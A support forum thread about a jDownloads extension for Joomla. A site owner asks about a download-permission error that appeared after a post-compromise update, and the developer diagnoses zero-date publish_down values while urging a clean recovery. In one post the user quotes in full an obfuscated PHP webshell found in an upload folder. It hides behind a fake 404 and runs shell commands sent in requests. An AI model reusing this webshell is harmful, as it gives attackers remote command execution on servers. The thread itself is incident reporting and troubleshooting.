"You do not have permission to download the requested file..." after update 4.1.4 to 4.1.7

[jeery2212]

Good evening,

Joomla site, version 5.4.8.

Following the site's compromise via the CVE-2026-61900 vulnerability, I found numerous files that had been dropped into the folder /www/administrator/components/com_jdownloads/test_uploads/ (by 3 different hackers on 3 different dates).

Following an alert from my hosting provider (OVH), I updated from version 4.1.4 to version 4.1.7, deleted the contents of the folders administrator/components/com_jdownloads/test_uploads/ and administrator/components/com_jdownloads/assets/upload/, and set up a .htaccess file to block access to these 2 directories.

However, since the update (currently on version 4.1.7), it is no longer possible to download files from the front end, either in public mode or authenticated mode. We consistently get this error message:

"You do not have permission to download the requested file.
Contact the website operator if you are sure that this is incorrect."

To work around the issue, I put the version 4.1.4 DownloadController.php file back into the directory: /www/components/com_jdownloads/src/Controller

What is the reason for this error message, and how can I fix it so that the 4.1.7 version of the DownloadController.php file works properly and allows me to have a secure site?

Problem like : https://www.jdownloads.com/forum/index.php?topic=15708.0

Anonymous access


Authentified access


thanks you

[ColinM]

Hi,
From what you say downloading from the backend is OK.  Is that OK for users other than the Superuser?
Sounds to me that user permissions might have become corrupted. Try with a new user,
ColinM

[jeery2212]

Hello,

I just tested with a newly created user, and the problem is identical, even when creating it without assigning any group permissions. An unauthenticated user encounters the same issue — no file can be downloaded from the front office.

Simply swapping back to the DownloadController.php file from version 4.1.4 in place of the 4.1.7 version makes it work again, but I lose the security measures that were put in place (plugin hook).

Thank you

[Arno]

Hi,
before investigating the download-permission issue further, could you please clarify how the site was recovered after the compromise?

Did you restore a complete backup from before the earliest known infection, or did you only update jDownloads and delete the suspicious files?

If you restored a backup, please confirm:
- Whether both the website files and database were restored.
- Whether the existing compromised files were removed first, rather than simply overwritten.
- Whether the security update and removal of obsolete upload directories were completed before reopening the site.

Updating and deleting the discovered files alone does not establish that the installation is clean. Even a backup restoration requires verification, and potentially exposed credentials should be changed.

Please also do not continue using the 4.1.4 DownloadController as a workaround, as this rolls back subsequent fixes.

Once we understand the recovery steps and have a clean, consistently updated installation, we can investigate the download permissions reliably.

One further point after comparing the actual 4.1.4 and 4.1.7 controller files: version 4.1.7 added publication-date checks and a pre-delivery authorization hook. Either could help explain why the older controller allows downloads while the newer one refuses them.

Could you please also provide:

- The exact database values of `publish_up` and `publish_down` for one affected download, including whether they contain SQL `NULL` or `0000-00-00 00:00:00`. The dates shown in the backend alone may not reveal this distinction.
- The relevant entries from the jDownloads installation/update log, especially any errors or messages about correcting the `publish_down` field.
- A list of installed plugins in the **jdownloads** plugin group, including any custom or third-party download authorization or payment plugins.

Please do not change those values yet. We would first like to establish which of the new checks is responsible for the refusal.

[jeery2212]

Hello Arno,

Thank you for taking the time to help me.

To answer your question: the site was cleaned, not restored. I found traces of compromise dating from July, but my file and database backups were already corrupted. My shared host only keeps 15 days of history, so I had no earlier, clean backup (the site has changed in the meantime). However, I have just found one from early January 2026.

Actions taken: I cleaned the following folders: administrator/components/com_jdownloads/test_uploads/ and administrator/components/com_jdownloads/assets/upload/, added .htaccess files to block access to them, and changed the administrator credentials (4 Super User accounts).

I have also changed the FTP password and the MySQL database password.

I checked a few other folders for comparison (/images, /tmp, etc.): apart from the two folders above, I found nothing that had been modified.

The test_uploads folder contained files whose content was either "hacked by trenggalek6etar" and "Hacked By Antonkill", or a PHP webshell script, the beginning of which is shown below:
<?php error_reporting(0);@ini_set('display_errors',0);$k="xxxxxxxxxxx";if(!isset($_REQUEST["p"])||$_REQUEST["p"]!==$k){http_response_code(404);echo"<!DOCTYPE html><html><body><h1>404 Not Found</h1></body></html>";exit;}$c=null;if(isset($_REQUEST["b"])){$bd="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";$c=$bd($_REQUEST["b"]);}elseif(isset($_REQUEST["c"])){$c=$_REQUEST["c"];}if($c!==null){$o="";$f="\x73\x79\x73\x74\x65\x6d";if(function_exists($f)){ob_start();@$f($c);$o=ob_get_clean();}else{$f="\x70\x61\x73\x73\x74\x68\x72\x75";if(function_exists($f)){ob_start();@$f($c);$o=ob_get_clean();}else{$f="\x65\x78\x65\x63";if(function_exists($f)){@$f($c,$a);$o=implode("\n",$a);}else{$f="\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63";if(function_exists($f)){$o=@$f($c);}else{$f="\x70\x6f\x70\x65\x6e";if(function_exists($f)){$p=@$f($c,"r");if($p){$o=stream_get_contents($p);pclose($p);}}else{$o=`$c`;}}}}}echo"".$o."[E]";}else{echo"OK[E]";} ?>

The screenshot below shows the files present in the folder; the files added in mid-September are missing from it.





Next, I deleted the folders administrator/components/com_jdownloads/ and components/com_jdownloads/, then reinstalled jDownloads without cleaning the database (jDownloads manages about 300 items).
The uncompromised backup dates from early January 2026. If I have no other choice, I will start again from it, but I would prefer to avoid that if possible, as it would make things easier for me.

Joomla is set to auto-update and extensions are updated regularly (about once a month), but this summer the update was only carried out in early September.
I have just put back the DownloadController.php file from version 4.1.7 (the one that causes the bug described at the top of this thread).

Here are a few "publish_up" and "publish_down" entries: none of these files can be downloaded.



In the log file 1.com_jdownloads_install_logs.php, I only find the information below (version 4.1.6 already caused the download bug, but no user had reported it to me):
I find no information about publish_down.
If you know the path to any other useful logs, I can retrieve them without any problem.

#
#<?php die('Forbidden.'); ?>
#Date: 2026-09-02 14:46:11 UTC
#Software: Joomla! 5.4.8 Stable [ Kutegemea ] 18-August-2026 16:00 GMT
#Fields: date time    priority    message
2026-09-02 14:46:11    INFO    ------------------------------------------------------ System Information
2026-09-02 14:46:11    INFO    OS                : Linux w
2026-09-02 14:46:11    INFO    PHP                : 8.4.22
2026-09-02 14:46:11    INFO    MySQL              : 8.0.46-37
2026-09-02 14:46:11    INFO    Joomla!            : 5.4.8
2026-09-02 14:46:11    INFO    Debug              :
2026-09-02 14:46:11    INFO    Debug Language    :
2026-09-02 14:46:11    INFO    Error Reporting    : none
2026-09-02 14:46:11    INFO    SEF                : 1
2026-09-02 14:46:11    INFO    Unicode Aliases    :
2026-09-02 14:46:11    INFO    System Cache      : 0
2026-09-02 14:46:11    INFO    Captcha            : 0
2026-09-02 14:46:11    INFO    ------------------------------------------------------ Update Started
2026-09-02 14:46:12    INFO    Update started by user xxxxxxxxxx (62). Old version is 4.1.4. New version is 4.1.6 Stable.
2026-09-02 14:46:13    INFO    Modules succesfully installed/updated: 12.
2026-09-02 14:46:13    INFO    Plugins succesfully installed/updated: 6.
2026-09-02 14:46:14    INFO    Additional index `idx_catid_extra` exists already in jdownloads_files table.
2026-09-02 14:46:14    INFO    ------------------------------------------------------ Update Finished
2026-09-25 20:44:05    INFO    ------------------------------------------------------ System Information
2026-09-25 20:44:05    INFO    OS                : Linux w
2026-09-25 20:44:05    INFO    PHP                : 8.4.22
2026-09-25 20:44:05    INFO    MySQL              : 8.0.46-37
2026-09-25 20:44:05    INFO    Joomla!            : 5.4.8
2026-09-25 20:44:05    INFO    Debug              :
2026-09-25 20:44:05    INFO    Debug Language    :
2026-09-25 20:44:05    INFO    Error Reporting    : none
2026-09-25 20:44:05    INFO    SEF                : 1
2026-09-25 20:44:05    INFO    Unicode Aliases    :
2026-09-25 20:44:05    INFO    System Cache      : 0
2026-09-25 20:44:05    INFO    Captcha            : 0
2026-09-25 20:44:05    INFO    ------------------------------------------------------ Update Started
2026-09-25 20:44:07    INFO    Update started by user xxxxxxxxxx (62). Old version is 4.1.7. New version is 4.1.7 Stable.
2026-09-25 20:44:08    INFO    Modules succesfully installed/updated: 12.
2026-09-25 20:44:08    INFO    Plugins succesfully installed/updated: 6.
2026-09-25 20:44:09    INFO    Additional index `idx_catid_extra` exists already in jdownloads_files table.
2026-09-25 20:44:09    INFO    ------------------------------------------------------ Update Finished

Regarding the plugins installed in the jDownloads group: I only have the base ones (no payment plugin or custom plugin).

Name    Location    Type    Version    Date    Author    Folder
Button - jDownloads Content    Site    Plugin    4.1    14/02/2026    Arno Betz    editors-xtd
com_jdownloads - fr-FR    Site    File    2023-02-10-12-02-03    10/02/2023    Arno Betz    N/A
Content - jDownloads tag correction    Site    Plugin    4.0    07/09/2022    Arno Betz    content
Content - jDownloads    Site    Plugin    4.1    19/02/2026    Arno Betz    content
jDownloads    Administrator    Component    4.1.7 Stable    24/07/2026    Arno Betz    N/A
jDownloads Administrator Monitoring    Administrator    Module    4.1    10/02/2026    Arno Betz    N/A
jDownloads Featured    Site    Module    4.1    10/02/2026    Arno Betz    N/A
jDownloads Last Updated    Site    Module    4.1    10/02/2026    Arno Betz    N/A
jDownloads Latest    Site    Module    4.1    10/02/2026    Arno Betz    N/A
jDownloads Most Recently Downloaded    Site    Module    4.1    10/02/2026    Arno Betz    N/A
jDownloads Rated    Site    Module    4.1    10/02/2026    Arno Betz    N/A
jDownloads Related    Site    Module    4.1.2    31/03/2026    Arno Betz    N/A
jDownloads Stats    Site    Module    4.1    10/02/2026    Arno Betz    N/A
jDownloads Stats for Administrators    Administrator    Module    4.1    10/02/2026    Arno Betz    N/A
jDownloads Top    Site    Module    4.1    10/02/2026    Arno Betz    N/A
jDownloads Tree    Site    Module    4.1    10/02/2026    Arno Betz    N/A
jDownloads View Limits    Site    Module    4.1    10/02/2026    Arno Betz    N/A
Smart Search - jDownloads    Site    Plugin    4.0.36    24/10/2023    Arno Betz    finder
Smart Search - jDownloads Categories    Site    Plugin    4.0    25/12/2022    Arno Betz    finder
System - jDownloads    Site    Plugin    4.0.43    26/06/2024    Arno Betz    system

I will not be very available next week, so please excuse me if I take a little time to reply.

Thank you in advance for your help.

Kind regards,

[Arno]

Hi,
thank you for the detailed reply and screenshots. They help us separate the download problem from the security incident.

Your database screenshot shows `0000-00-00 00:00:00` in the `publish_down` field for all visible downloads. Several have valid publication start dates. This matches a jDownloads issue we have reproduced locally: the newer publication-date checks can reject these legacy end-date values and display a misleading permissions message.

We have tested a controller correction successfully and are preparing improved update handling for existing zero-date values. These corrections are planned for jDownloads 4.1.8 Stable, which is currently undergoing regression testing. Please keep the 4.1.7 controller installed rather than reverting to 4.1.4. There is no need to change the database values manually at this stage.

The security situation remains a separate concern. The PHP webshell you found allows server commands to be executed with the webserver's permissions. Removing the discovered files, reinstalling jDownloads and changing passwords are important steps, but they do not establish that the entire installation is clean.

Although you mentioned a 15-day backup history, please contact your hosting provider's support directly and ask specifically about **automatic backups, snapshots or archived recovery points from before the earliest suspected compromise in July**. Many providers retain backups covering recent weeks, and support may have recovery options beyond those shown in the customer panel. However, retention varies, and recent backups may already contain the compromise.

Your January backup is another potential recovery source, but it should also be checked before use. Any restoration should include both files and database in a clean location, followed by all required security updates before the site is made public again. Your host or a qualified security spe***t may be able to assist with verification and recovery.

We will update this thread when 4.1.8 is available. Fixing the download issue must not be taken as confirmation that the security incident has been fully resolved.

[jeery2212]

Regarding security: as a precaution, I used this site https://manage.mysites.guru/ with the plugin to analyze the back office. Nothing abnormal was detected, but there is no 100% guarantee that my site is clean.

I agree with you: the download issue and the security issue are two separate topics.

[jeery2212]

Hello Arno,

Using an AI assistant, I started from the DownloadController.php file of version 4.1.7 and added a few lines to fix the problem.

AI message:
I added a variable right after $now_date (lines 709-710):

php
$null_date = '0000-00-00 00:00:00';

In the 3 blocks, the conditions now also accept the zero date:

php
$query->where('(a.publish_up IS NULL OR a.publish_up = ' . $db->quote($null_date) . ' OR a.publish_up <= ' . $db->quote($now_date) . ')');
$query->where('(a.publish_down IS NULL OR a.publish_down = ' . $db->quote($null_date) . ' OR a.publish_down >= ' . $db->quote($now_date) . ')');

The rest of the file is unchanged. The onBeforeDownloadAuthorizeJD security hook and the date checks for genuinely expired or scheduled files are preserved.

Here is the corrected file, which seems to work:

DownloadController.php